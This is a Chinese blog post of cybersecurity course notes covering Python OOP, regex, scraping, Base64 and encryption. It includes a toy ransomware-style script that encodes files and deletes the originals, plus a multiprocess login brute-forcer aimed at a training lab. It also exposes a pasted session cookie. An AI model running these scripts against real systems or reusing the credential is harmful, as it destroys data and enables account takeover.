2.4网安学习第二阶段第四周回顾(个人学习记录使用)

本周重点

①面向对象&序列化&正则表达式&HTML

②爬虫的基本应用

③密码入门&Base64编码

④加密(不可逆&非对称&对称)

⑤密码爆破的应用

本周主要内容

DAY1 面向对象&序列化&正则表达式&HTML

①面向对象

概念:OOP(Object Oriented Programming)

分类:

  • 面向过程(C语言)

  • 面向对象(一切皆对象,不需要关注实现的细节。主要关注有什么对象,每个对象有什么属性和功能)

三大特性:

  1. 封装,继承,多态;

常见的名词

类(class):结构、模板、静态的;

实例化:动作,把静态的类实例化成一个具体的对象;

对象:实例化之后的具体的内容;

1、封装
class Father:
    money = 300
    __privateMoney = 1000000
    def __init__(self):
        pass
    def __spendPrivate(self, account):
        self.__privateMoney = self.__privateMoney - account
        #print("花了" + str(account) +", 剩余:"+ str(self.__privateMoney - account))
    def spendWithFamily(self, accout):
        print("花了" + str(accout) + ", 剩余:" + str(self.money - accout))
    def chuChai(self, accout, username, password):
        #改变这个数据之前,可以记录日志,把对象的信息写到文件里面去
        self.__spendPrivate(accout)
        print("花了" + str(accout) + ", 剩余:" + str(self.money - accout))
f = Father()
print(f.money)
f.chuChai(799)

概念:对外屏蔽一些内容,只允许外面通过固定的方式来访问我自身的内容;

2、继承
class Animal:
    def run(self):
        print("animal is running....")
class Dog(Animal):
    pass
class Cat(Animal):
    pass
d = Dog()
d.run()
c = Cat()
c.run()

子类可以从父类继承变量和方法,私有的变量和方法不能被继承;

一个子类可以继承多个父类:

image-20240115121754621

class A(B, E)
3、多态
class Animal:
    eye = "animal eye"
    __tail = "animal tail"
    # def __init__(self):
    #     self.eye = "animal eye"
    def run(self):
        print("animal is running....")
    def runTwice(self):
        self.run()
        self.run()
class Dog(Animal):
    def run(self):
        print("dog is running....")
class Cat(Animal):
    def run(self):
        print("cat is running....")
d = Dog()
d.run()
c = Cat()
c.run()
a = Animal()
print(isinstance(d, Animal))
print(isinstance(c, Animal))
print(isinstance(a, Dog))

代表动物可以以多种形态展示,可以是猫,可以是狗,也可以是任意你自己定义的动物;

class Animal:
    eye = "animal eye"
    __tail = "animal tail"
    name = "animal"
    # def __init__(self):
    #     self.eye = "animal eye"
    def run(self):
        print(self.name + " is running....")
        print(self.eye + " is openning....")
    def runTwice(self):
        self.run()
        self.run()
class Dog(Animal):
    name = "Dog"
class Cat(Animal):
    name = "Cat"
    eye = "cat eye"
d = Dog()
d.runTwice()
c = Cat()
c.run()

多态可以使代码更加的简洁,减少代码冗余,减少出错的概率。

②序列化

python里的对象需要传输到其它地方,你能保证其它的地方认识这个对象吗?所以需要按照固定的格式给,序列化就是统一这个格式,以普通的字符串出现比较方便。

序列化的方式有很多,JSON是其中的一种

JSON

JavaScript Object Notation是一种轻量级的数据交换格式。

  • 把对象变成字符串(为了在网上进行传输);

  • 把字符串变成对象(互联网上收到的是字符串,为了方便处理,要把字符串变成对象)。

例子

import json
users = [
{
"userid":1,
"username":"admin",
"password":"admin123",
"realname":"马宇航",
"phone":"123",
"role":"admin",
"createtime":"2017/10/1 08:18:20"
},
{
"userid":2,
"username":"lm",
"password":"LiuM123",
"realname":"LM",
"phone":"17712345678",
"role":"boss",
"createtime":"2017/10/1 08:18:20"
}]
json_users = json.dumps(users)
print(type(users))
print(type(json_users))
myStr = '{username:ykm}'
obj = json.loads(myStr)
print(obj)
print(type(obj))
1. 从数据库取出数据;
2. 把数据库的数据封装成一个对象;
3. 对对象进行处理;
4. 处理完成之后把结果存入另一个对象;
5. 对对象进行序列化之后传到互联网。

③正则表达式

概念:能够比较方便的做判断

邮箱是否符合规则:是否存在@,之前的字符的数量,@符号之后的.com判断输入的是否是一个电话号码,是否是IP,。。。

场景:

  1. 爬虫;

  2. 注册;

  3. 防火墙过滤手段;

  4. 免杀。

1、用法

一、.

【.】:代表可以匹配任意的字符

image-20240115151609161

二、\d

【\d】:可以匹配任意的数字

image-20240115151808574

三、\w

【\w】:包含字符、数字以及下划线,其它的都不算

image-20240115151930687

四、\s

【\s】:匹配一个不可见的字符

image-20240115152117623

五、反例

\W, \D,\S:大写的代表和小写的相反。

六、指定匹配范围

【{n, m}】

{n,m}代表匹配至少n个,之多m个
{n,}代表匹配至少n个
{n}代表匹配n个

image-20240115152925352

七、^和$

^:以某字符串开头;

$:以某字符串结尾。

image-20240115153227383

八、匹配指定范围

[]:匹配某些数字中的任意范围,1234中的任意一个数字, [1234] 或者是[1-4]

九、或 |

|:代表或。

aa|bb和a(a|b)b是不一样的;

十、重复匹配

+、?、*

?: 匹配前面的字符1次或者0次.

*:前面字符匹配任意次数;

+:代表的是不能为0次的其它任意次数。

colorcolourcolour[1到3之间任意的数字]color[1到3之间任意的数字]colou?r[1-3]*
正则表达式可以匹配
A*空,A, AA, AAA….
A+A, AA, AAA…
A?空,A
2、例子
1. 数字(匹配任意的数字):^[0-9]*$
2. n位的数字:^\d{4}$,匹配4位的数字,4可以换成n
3. 至少n位的数字:^\d{4,}$,4可以换成n
4. m-n位的数字:^\d{4,5}$,4可以换成n
5. 单个数零或者是非零开头的数字:^(0|[1-9][0-9]*)$
6. 匹配一个小数:^[0-9]+\.[0-9]+$
7. 带1-2位小数的整数或者是负数:^(\-)?\d+(\.\d{1,2})?$

④HTML入门

浏览器是一个应用,浏览器能够通过http协议传输数据,数据的格式十http。

表格

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Title</title>
</head>
<body>
<table>
    <tr>
        <td>用户名</td>
        <td>年纪</td>
        <td>学历</td>
        <td>身高</td>
    </tr>
    <tr>
        <td>root</td>
        <td>15</td>
        <td>高中</td>
        <td>170</td>
    </tr>
</table>
</body>
</html>

表单

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Title</title>
</head>
<body>
用户名: <input type="text" value="root">
</br>
密码:<input type="password">
</br>
<input type="button" value="提交">
</body>
</html>

跳转(标签)

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Title</title>
</head>
<body>
<a href="https://www.baidu.com" target="_blank">百度</a>
</body>
</html>

列表标签

无序

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Title</title>
</head>
<body>
<ul>
    <li>李强总理是否会与泽连斯基在达沃斯会晤?中方回应</li>
    <li>3起典型问题曝光 一地举债造“有轨电车”致巨大浪费</li>
    <li>外卖小哥3年挣了102万?引发争议,平台确认属实</li>
</ul>
</body>
</html>

有序

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Title</title>
</head>
<body>
<ol>
    <li>李强总理是否会与泽连斯基在达沃斯会晤?中方回应</li>
    <li>3起典型问题曝光 一地举债造“有轨电车”致巨大浪费</li>
    <li>外卖小哥3年挣了102万?引发争议,平台确认属实</li>
</ol>
</body>
</html>

样式

div是一个盒子,我们可以对盒子进行修饰。

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Title</title>
    <style>
        .myDiv {
            color:red
        }
        .myInner{
            background-color: aqua;
        }
    </style>
</head>
<body>
<div class="myDiv">
    dassda
    <div class="myInner">
        背景颜色查看
    </div>
</div>
<div class="myDiv">
    asdadasdasasdsda
</div>
</body>
</html>

DAY2 爬虫的基本应用

①实验-爬单个网页图片

思路:

1. 请求网站(requests);
2. 获取数据(html);
3. 解析(re);

补充:贪婪模式和非贪婪模式

非贪婪模式
<div>.*?</div>
aa<div>test1</div>bb<div>test2</div>cc
贪婪模式
<div>.*</div>
aa<div>test1</div>bb<div>test2</div>cc
import requests
import re
response = requests.get("https://www.woniuxy.cn/teacher.html")
contents = response.text
result = re.findall('src="(https.*?png|jpg|jpeg$)"', contents)
length = len(result)
for index in range(length):
    images = requests.get(result[index])
    with open(f'./teacher/{index}.png', mode="wb+") as f:
        f.write(images.content)
print(result)

②实例-爬单个网页的文字信息

html是一颗dom树(document object),html的构成:标签+属性

查找div(或者是html其它的标签),有两种不同的思路:

1. 一层一层的找;
2. 通过属性找(如果是通过id找,只会找到一条;如果通过其它属性,可能会找到多条。)

BS4:Beautiful soup,帮我们简化对html标签的操作;可以不使用正则表达式。

(1) Python标准库,BeautifulSoup("html.parser") #Python内置的,速度一般,文件容错能力强;
(2) Ixml 解析器,BeautifulSoup("lxml") #需要额外的安装C语言库,速度快,文件容错能力强;
(3) xml 解析器,BeautifulSoup("xml") #需要额外的安装C语言库,速度快,唯一支持xml格式处理;
(4) html5lib 解析器,BeautifulSoup("html5lb") #最好的容错性,速度慢,以浏览器的方式解析html;

例子

1. 正则表达式比较复杂,用bs4;

代码:

import bs4
import requests
response = requests.get("https://www.woniuxy.cn/teacher.html")
content = response.text
bs = bs4.BeautifulSoup(content, 'html.parser')
print(bs.head.title)
print(bs.head.title.text)
# list_img = bs.find_all('img')
# for img in list_img:
#     url = img['src']
#     if str(url).startswith('https') and str(url).endswith('png'):
#         #写如到teacher文件夹里面
#         print(url)
#print()
teachers = bs.find_all('div', {"class":"border_ra2"})
#print(teachers)
for teacher in teachers:
    # print(teacher.div.div.text)
    # print(teacher.div.div.next_sibling.next_sibling.text)
    print(teacher.div.next_sibling.next_sibling.img['src'])

③实例-爬子网页的内容

思路:

第一步:找地址,查看li标签的结构;
第二步:根据li标签里面的内容,发请求(补一个baseURL);
第三步:找到每一个链接里的每一篇文章;
第四步:把文章写入到指定的文件里面(格式可以随意)
import requests
import bs4
base_usl = "https://www.w3school.com.cn"
resp = requests.get("https://www.w3school.com.cn/html/index.asp")
#
bs = bs4.BeautifulSoup(resp.text, "html.parser")
#
#li_list = bs.find_all("li")
#print(bs.find("div", {"id","course"}))
li_list = bs.find("div", {"id":"course"}).find_all("li")
#print(li_list)
for item in li_list:
    #print(base_usl + item.a['href'])
    response = requests.get(base_usl + item.a['href'])
    content = bs4.BeautifulSoup(response.text, "html.parser")
    artical = content.find("div", {"id":"maincontent"})
    #print(artical)
    artical_str = ""
    filename = str(artical.h1.text).replace("/", "-").replace("<", "-").replace(">", "-").replace("!", "").replace("*", "")
    divs = artical.find_all("div")
    for index in range(1, len(divs)-2):
        div = divs[index]
        for child in div.children:
            if str(child).startswith("<h1"):
                artical_str+="# " + child.text
            elif str(child).startswith("<h2"):
                artical_str += "## " + child.text
            elif str(child).startswith("<h3"):
                artical_str += "### " + child.text
            elif str(child).startswith("<table"):
                artical_str += str(child)
            elif str(child).startswith("<pre"):
                artical_str += "```html\n" + child.text + "\n```\n"
            elif str(child).startswith("<p"):
                artical_str += child.text + "\n"
            else:
                artical_str += child.text + "\n"
    with open("./htmls/" + filename + ".md", mode="w+", encoding="utf-8") as f:
        f.write(artical_str)

DAY3 密码入门&Base64编码

①密码入门

简介

隐秘性,不想让别人知道,一般是和登录、查看等权限相关。

密码是越长越安全(15位-只能包含数字,可以包含数字和字母,必须包含数字和字母)。

在这里插入图片描述

密码学发展的阶段

存储的密码的复杂度决定别人是否方便爆破;

存储的密码是明文还是密文决定了别人拿到密码之后是否可以用;

1. 古典密码(1949年前),主要特点:基于算法保密;2. 近代密码学(1949-1975年),基于`密钥`,密码学产生了;3. 现代密码学(1976年),基于非对称(公钥),解决密钥共享的问题,正式商用;

常见古典密码学

摩斯电码

凯撒密码

栅栏密码

维吉尼亚密码

②Base64编码

1、base64基本原理

网络上图片的展示:0和1(url?img=01011000);

所以会以特定的编码格式进行传输,比较直接的就是使用ascii进行编码,但是ascii里面有【?】和【&】等,会和http协议里的关键字冲突;

所以就使用base64;

image-20240117120449584

转换

image-20240117121906064

1. 不足的补02. 字节数不是3的倍数需要补到3的倍数(补的位数按照【=】解析);

思路:

1. 要把A转换成二进制。
2. 把二进制每6个每6个的取出来,变成十进制(=号);
3. 通过十进制,在base64的表里面找到对应的字符。
import string
​
# 将字符串转换为二进制表示
def str2bin(input_str):
    new_bin = ""
    for char in input_str:
        bin_char = bin(ord(char))  # 获取字符的ASCII码,并转换为二进制形式
        new_bin += bin_char
    return new_bin.replace("b", "")  # 去除二进制字符串中的前缀'b'
​
# 定义Base64字符集
base64_dict = string.ascii_uppercase + string.ascii_lowercase + string.digits + "+/"
​
# 将二进制字符串转换为Base64编码
def bin2base64(bin_str):
    padding = 0  # 初始化填充数为0
    for index in range(0, len(bin_str), 6):
        every_6_bits = bin_str[index:index+6]
        if 0 < len(every_6_bits) < 6:
            # 计算需要填充的0的数量
            padding = (6 - len(every_6_bits)) // 2
            every_6_bits += "0" * (6 - len(every_6_bits))  # 在不足6位的二进制表示前补充0
        last_index = int(every_6_bits, 2)  # 将6位二进制表示转换为整数
        print(base64_dict[last_index], end="")  # 输出对应的Base64字符
    print("=" * padding if padding > 0 else "")  # 输出填充的'=',如果需要的话
​
# # 将二进制字符串转换为整数
# def str2int(bin_str):
#     sum_result = 0
#     for index in range(len(bin_str)):
#         sum_result += int(bin_str[index]) * (2 ** (len(bin_str) - index - 1))
#     return sum_result
​
# 将字符 'A' 转换为二进制表示
bin_str = str2bin('AB')
print(bin_str)
​
# 将二进制表示转换为Base64编码并输出
bin2base64(bin_str)
​
2、可逆加密base64
1. 得到二进制;
2. 变成base64;
3. 对base64的每个字符的二进制进行偏移,然后转成字符串;
4. 把字符串写入到文件。

image-20240117161100851

import base64
import os
​
# 定义一个函数,用于发送病毒(实际上是简单的文件内容加密)
def send_virus(offset):
    new_file = ""  # 用于存储加密后的文件内容
    with open('aa.txt', 'rb') as f:
        file_content = f.read()  # 读取文件内容
        b64_file = base64.b64encode(file_content)  # 对文件内容进行 Base64 编码
        str_file = b64_file.decode('utf-8')  # 将 Base64 编码结果转换为字符串
​
        # 对 Base64 编码后的字符串进行凯撒密码加密
        for item in str_file:
            new_file += chr(ord(item) + offset)
​
    with open('aa.txt', 'wb') as f:
        f.write(new_file.encode())  # 将加密后的内容写回文件
​
send_virus(0)
import base64
import os
​
# 定义一个函数,用于发送病毒(实际上是简单的文件内容加密)
def encryption_virus(file_name, offset):
    if not file_name.endswith('.hacker'):
        new_file = ""  # 用于存储加密后的文件内容
        with open(file_name, 'rb') as f:
            file_content = f.read()  # 读取文件内容
            b64_file = base64.b64encode(file_content)  # 对文件内容进行 Base64 编码
            str_file = b64_file.decode('utf-8')  # 将 Base64 编码结果转换为字符串
​
            # 对 Base64 编码后的字符串进行凯撒密码加密
            for item in str_file:
                new_file += chr(ord(item) + offset)
​
        with open(f'{file_name}.hacker', 'wb') as f:
            f.write(new_file.encode())  # 将加密后的内容写回文件
​
def traversal_dir(file_path, offset):
    for root, dirs, files in os.walk(file_path):
        for file in files:
            new_path = os.path.join(root, file)
            encryption_virus(new_path, offset)
​
            # 加入判定,如果后缀是 .hacker,则不执行删除
            if not new_path.endswith('.hacker'):
                os.remove(new_path)
​
# 调用函数并传递偏移量
traversal_dir('./test', 1)
​
import base64
import os
​
def decrypt_virus(file_name,offset):
    decrypted_file = ""  # 用于存储解密后的文件内容
    with open(file_name, 'rb') as f:
        file_content = f.read()  # 读取文件内容
​
        # 对文件内容进行凯撒密码解密
        for byte in file_content:
            decrypted_file += chr(byte - offset)
​
    # 将解密后的内容进行 Base64 解码
    decoded_content = base64.b64decode(decrypted_file)
​
    # 将解码后的内容写回文件,去掉 .hacker 后缀
    new_file_name = file_name[:-7]  # 去掉 .hacker 后缀
    with open(new_file_name, 'wb') as f:
        f.write(decoded_content)
​
def traversal_dir(file_path, offset):
    for root, dirs, files in os.walk(file_path):
        for file in files:
            if file.endswith('.hacker'):
                new_path = os.path.join(root, file)
                decrypt_virus(new_path, offset)
                os.remove(new_path)
​
# 调用函数并传递偏移量
traversal_dir('./test', 1)
​

DAY4 加密(不可逆&非对称&对称)

①不可逆加密

如果要自己设计一个不可逆的加密方式,可以考虑用取模的方式:18 % 17 = 1。

MD5

MD5消息摘要算法(英语:message-digest algorithm),一种比较广泛试用的密码散列函数,1992年公开,用于取代MD4。

如果两个密码,同时试用MD5进行加密:

a = 12345b = 123456len(MD5(a)) == len(MD5(b))

1996年之后被证实存在弱点,可以被解密的,2004年,证实MD5是可以被碰撞攻击的。

比MD5更安全的有SHA2。

MD5加密后一共有32位。

SHA系列比MD5更安全,性能要低一些。

用例

#MD5对普通的字符进行加密
print(hashlib.md5("abc".encode()).hexdigest())
print(hashlib.md5("ab1".encode()).hexdigest())
#MD5对文件进行加密
with open('./test/aa.txt', mode='rb') as f:
    print(hashlib.md5(f.read()).hexdigest())
with open('./test/bb.txt', mode='rb') as f:
    print(hashlib.md5(f.read()).hexdigest())
#SHA对文件进行加密
with open('./test/aa.txt', mode='rb') as f:
    print(hashlib.sha512(f.read()).hexdigest())
with open('./test/bb.txt', mode='rb') as f:
    print(hashlib.sha256(f.read()).hexdigest())

作用:

  1. 摘要,防止别人篡改信息;

  2. 密码验证;

补充:

做密码存储的时候,一般会多做一件事,加盐,比如说密码原来是12345+9,对相加后的内容做md5。

②非对称加密

1、算法不对称

A和B要相互之间发送信息,但是使用的加密算法不一样。

image-20240118114917662

class Zhangsan:
    def __init__(self):
        self.name = "张三"
    def zhangsanEncrypt(self, msg):
        newStr = ""
        for item in msg:
            newStr += chr(ord(item) + 5)
        return newStr
    def zhangsanDecrypt(self, msg):
        newStr = ""
        for item in msg:
            newStr += chr(ord(item) - 5)
        return newStr
class Lisi:
    def __init__(self):
        self.name= "李四"
    def lisiEncrypt(self, msg):
        newStr = ""
        for item in msg:
            newStr += chr(ord(item) + 1)
        return newStr
    def lisDecrypt(self, msg):
        newStr = ""
        for item in msg:
            newStr += chr(ord(item) - 1)
        return newStr
if __name__ == '__main__':
    msg = '123'
    zs = Zhangsan()
    ls = Lisi()
    msg1 = zs.zhangsanEncrypt(msg)
    msg2 = ls.lisiEncrypt(msg1)
    msg3 = zs.zhangsanDecrypt(msg2)
    msg4 = ls.lisDecrypt(msg3)
    print(msg1)
    print(msg2)
    print(msg3)
    print(msg4)
2、密钥不对称RSA

一阶段学的不对称加密,公钥和私钥;

公钥加密,私钥解密;
私钥加密,公钥解密。
缺点(相较对称加密):性能差。

典型的非对称加密:RSA

RSA

过程:

小明:
私钥:p,q,p和q都是质数(素数);
计算:n=p*q, e和(p-1)(q-1)互质的。
公钥:n和e
小钦:
要发信息给小明,明文:m
小钦通过n和e对m进行加密;
加密后的信息:C = m^{e} mod n
小明:
收到:C
找到一个数字,d,de 同余 1 mod (p-1)(q-1) (欧拉公式)
m = C^{d} mod n
如果要破译:要从n反推出来p和q,就是找【质因子】,np问题(需要很高很高时间复杂度计算的问题),np=p;

例子-1

小明:
私钥:p=5,q=11
计算:n=55,(5-1)*(11-1) = 40, e=3
公钥:55,3
小红:
m=7
C=7^3 mod 55 = 13
小明:
C=13
d=27, e=3, 27 * 3 = 81   1 mod 40 = 1, 27*3 mod 40 = 1
m = 13^{27} mod 55 = 7 (费马小定理计算)

判断一个数是否是质数:

import math
def isPrime(num):
    maxNum = math.sqrt(num) + 1
    for i in range(2, int(maxNum)):
        if num % i == 0:
            return False
    return True
def findPrimeFactor(num):
    for x in range(2, int(math.sqrt(num) + 1)):
        for y in range(2, (num>>1)+1):
            if x*y == num and isPrime(x) and isPrime(y):
                print(f'质因子是:{x, y}')
                return
def optimization(num):
    for x in range(2, int(math.sqrt(num) + 1)):
        if num % x == 0 and isPrime(x) and isPrime(num //x):
            print(f'质因子是:{x, (num/x)}')
            return
optimization(999966000289999966000289)
# print(isPrime(7))
# print(isPrime(9))
# print(isPrime(11))
# print(isPrime(53))

RSA使用

import math
import rsa
msg = "aaab"
publicKey, privateKey = rsa.newkeys(2048)
# print(f"公钥:{publicKey}")
# print(f"私钥:{privateKey}")
msg_pub = rsa.encrypt(msg.encode(), publicKey)
print(msg_pub)
new_msg = rsa.decrypt(msg_pub, privateKey)
print(new_msg.decode())

③对称加密

ASE

简介:对称密钥,又被称作共享密钥;

优点:速度快,适合加密比较大的数据。

image-20220326195555265

from Crypto.Cipher import AES
#key的长度必须是16的倍数
PUB_KEY = "ABCDEFGabcdefgasABCDEFGabcdefgas"
RAN1 = b"faisjdlfkjaso123"
RAN2 = b"abcdefghijasokkk"
RAN3 = b"faisjdlfkjaso123abcdefghijasokkk"
def c_AES(msg):
    crypt_obj = AES.new(PUB_KEY.encode(), AES.MODE_CBC, RAN1)
    secure_msg = crypt_obj.encrypt(msg.encode())
    return secure_msg
def s_AES(msg):
    crypt_obj = AES.new(PUB_KEY.encode(), AES.MODE_CBC, RAN2)
    return crypt_obj.decrypt(msg).decode()
if __name__ == '__main__':
    msg = input("请输入信息:")
    if len(msg.encode()) % 16 == 0:
        secure = c_AES(msg)
    else:
        addNum = 16 - (len(msg.encode()) % 16)
        msg += addNum * '\0'
        #print(msg)
        secure = c_AES(msg)
    print(s_AES(secure))

DAY5 密码爆破的应用

①爆破

不停的试密码;

密码字典;

什么情况下适合使用爆破?

  • 允许无限次尝试;

  • 失败要有返回信息。

import hashlib
db_password = "e10adc3949ba59abbe56e057f20f883e"
def burp(passwd):
    if hashlib.md5(passwd.encode()).hexdigest() == db_password:
        print(f"爆破成功,真实密码是:{passwd}")
    else:
        print(f"爆破失败")
if __name__ == '__main__':
    with open("pwd.txt", mode='r', encoding='utf-8') as f:
        secure_lst = f.readlines()
        for item in secure_lst:
            item = item.strip()
            burp(item)

②登录维持

1、Session和Cookie

上淘宝:买东西的时候就不需要再登录了。

image-20240119105400392

session是服务器生成的,保存的是用户登录后的信息(session),生成之后会返回给客户端;

客户端要把session存到cookie里面,每次访问的时候带上cookie里面的sessionID。

问题:cookie是不安全的,用户可以选择不用cookie(禁用cookie),可以每次请求的时候都放在url里面。

Session的问题

SESSION同步

业务量的增大,会出现分布式的服务

sesesion会有同步的问题,需要做session的同步;

image-20240119110522948

同步会带来效率的问题:

Session共享缓存

image-20240119110845215

本质上还是需要同步,因为缓存服务器只有一台,缓存服务器如果需要多台,还是会面临数据同步的问题。

2、TOKEN

如果用户A登录成功之后,服务器会给用户A一个TOKEN

image-20240119111859696

客户端每次发给服务器的时候会带上一个token,这个token是不用存储在服务器端的,

登录知识补充

表单post, json, url

表单,content-type: application/x-www-form-...
json, content-type: application/json;charset=UTF-8
url, https://www.xxxx.com?username=xxx&password=yyy (一般是用于翻页)
​
requests.post(url='', data=''):表单
requests.post(url='', json=''):json
requests.post(url='', param=''):url
requests.post(url='', file=open()):文件提交数据

WONIULAB会话维持

import json
import requests
sess = requests.session()
resp = sess.post("http://cd.woniulab.com:8900/stage-api/login", json={"username": "haha", "password": "123456"})
token_str = resp.text
token_obj = json.loads(token_str)
#print(type(token_str))
print(token_obj['token'])
token = token_obj['token']
info = requests.get("http://cd.woniulab.com:8900/stage-api/getInfo", headers={"Authorization":token})
print(info.text)

博客园会话维持

这个网站需要验证,需要自己手动的填cookie。

步骤:

#1. F12找到cookie里面放的内容;
#2. 复制出放到请求参数里面;
​
iimport requests
import re
from bs4 import BeautifulSoup
session = requests.session()
base_url = "https://q.cnblogs.com"
#请求这个地址是不需要权限
resp = session.get(base_url)
content =  resp.text
a_lst = re.findall('href="(.*?)"', content)
print(a_lst)
token = "_ga=GA1.1.886121030.1695352874; __gads=ID=aa7af4da26c319c7:T=1701336811:RT=1705557906:S=ALNI_Ma_J30asbUm1O0uD-jpHBNHymsJ_A; __gpi=UID=00000c9e2d3fff8a:T=1701336811:RT=1705557906:S=ALNI_MaoYpvm-dYWVFfTIrKVhqTFU0LVuA; cto_bundle=uQ5u6V94aTBEUiUyRk51ZFBPVEdYczQzNEtwRUhZSVhWOURpbFpBN0hiemc3bjlyY2oyNkdja040NUpkN0pXVGRIU1klMkJXYU5UTlowNVNaRVhaaVAyWUhORjFneWFIbUdzNmI1M0h2aUV2RE8lMkZ0OXElMkJaWG85STE1Y1N0UXRxUlRsbGRWRTJiWFZTMFNpdUx0dnV0UlNiMzRoTnhkdyUzRCUzRA; _ga_4CQQXWHK3C=GS1.1.1705559625.1.1.1705559649.0.0.0; Hm_lvt_866c9be12d4a814454792b1fd0fed295=1705557908,1705644887; Hm_lpvt_866c9be12d4a814454792b1fd0fed295=1705646584; _ga_M95P3TTWJZ=GS1.1.1705644886.8.1.1705646587.0.0.0; _ga_3XCB41CLNJ=GS1.1.1705645058.3.1.1705646601.0.0.0; .Cnblogs.AspNetCore.Cookies=CfDJ8DZoAyJmInJHoSwqM1IbzdQtJ5cLGmcsfGa6v4dTeoR9Y4TpT2bBD_AY4TAprnHIr4a7BkvUiDejdlRK1xwrPKJc-Gnf-y5izGdhwW63Ehe_W1e-5xc493wrD_Pi1V77A7SUUFvKIeHax6Bfa7LEDIw0xJkrz3H7Zr6sDM1RMjCMNUK-lP6cXH2TCCU3__c1uioP26hTNVI5Col4ZjWmnqE2o1jeqpp1O1h-fxRGyfqvPb2B8e3y6QONxxwNLMWA8e2U8C_ENy1Pe3OsBHd_0-b9kvmy4TAMZJ6Xi8o8Ls-ji_DpVpF9OOKiJpLmDwioNReZ4TjzkjZ3QS-j4zHZ5cRDtxY-Xq-LK176VVywmChUjjfwijDUM_pE0lk6LKSh1Cef6j4bYGITIL-6hXLwK6RdqQI5f6p0QwqPykr3-vRi8uBGQtWNDhcmfJGTqM3UWw8cRVJp80TvuJZg_Sk1cFiM-kNpDOxVn2FAXyofMoCLcI5IjwLCePm_LmpaiAq-nQtYmEICFmcRiM_Utctr9n0aElwsFlU2PWyP47ZgtjaHf4SggTThpdpFTTbLkJdK-g; .CNBlogsCookie=3EB6A4AD3721A5D0227C0CA71307A425D748532AFF04CDE883FECBCBC215713EBBB6DBCFD5D6C01AC1F8DB7FEADA9CBEBDAAA731E0C8D6159437A75FC3FB1CDC27A8653FF675BF5034DA60CC5FEF6FF9BB322DE3A90210261E45269F40827AD300B83B53; _ga_3Q0DVSGN10=GS1.1.1705644888.2.1.1705646860.12.0.0"
for item in a_lst:
    if item.startswith('/q'):
        url = base_url + item
        #请求这个地址是需要权限的
        response = session.get(url, headers={"cookie": token})
        print(response.text)
        bs = BeautifulSoup(response.text, "html.parser")
        contents = bs.find("div", {"id":"main"})
        print(url.replace("/", ""))
        with open("./" + item.replace("/", "")+ ".txt", mode="w", encoding="utf-8") as f:
            f.write(contents.text)

③进程

概念

一个静态的文件运行成动态【xxx】,会占用CPU,也会占用内存,会维持一个状态。

状态

image-20240119155011387

并发和并行

并发:不是真正的一起运行;

并行:真正的一起运行;

计算机是单核的,一个普通的网站服务器设置成几个进程?

CPU密集型(进程数一般和核数有关);
IO密集型(进程数没有太多的限制);

例子-1(同步)

import time
print("开始执行。。。")
time.sleep(3)
print("执行结束。。。")

例子-2(异步)

import time
from multiprocessing import Process
def chiFan(secs):
    time.sleep(secs)
    print("可以吃饭了")
    print("吃饭...")
if __name__ == '__main__':
    print("点餐")
    Process(target=chiFan, args=(5,)).start()
    print("逛商场,找妹子")

进程的创建-1

import time
from multiprocessing import Process
def exe():
    print("开始做")
    time.sleep(3)
    print("做完了")
if __name__ == '__main__':
    print("老板分配任务")
    p = Process(target=exe)
    p.start()
    print("老板出去浪了")

进程的创建-2

from multiprocessing import Process
import time
def exe():
    print("开始做")
    time.sleep(3)
    print("做完了")
class MyProcesss(Process):
    def run(self):
        exe()
        exe()
        exe()
if __name__ == '__main__':
    print("老板安排了任务")
    myProcess = MyProcesss()
    myProcess.start()
    print("老板就出去浪了")

④多进程爆破

爆破一般有两个字典:

  1. 常用用户名;

  2. 常用密码;

思路:

1. 对用户进行分组;
2. 如果一共有50个用户,分成5组,那每个组就有10个人,进程开5个;
3. 进程要读到用户名和密码;
import time
from multiprocessing import Process
import requests
def burp(user_lst):
    with open('./mima.txt', mode='r', encoding='utf-8') as f:
        passwd_lst = f.readlines()
    for item in user_lst:
        user = item.strip()
        for passwd in passwd_lst:
            passwd = passwd.strip()
            data = {"username":user, "password":passwd}
            response = requests.post("http://cd.woniulab.com:8900/stage-api/login", json=data)
            if response.json()['code'] == 200:
                print(f"用户名{user}正确,密码{passwd}也正确")
            else:
                print(f"用户名{user}错误,密码{passwd}也错误")
            #print(type(response))
            #time.sleep(2)
if __name__ == '__main__':
    with open("./username-top500.txt", mode='r', encoding='utf-8') as f:
        users = f.readlines()
        step = 1
        for index in range(0, len(users), step):
            user_lst = users[index:index+step]
            Process(target=burp, args=(user_lst,)).start()
  • 20
    点赞
  • 24
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值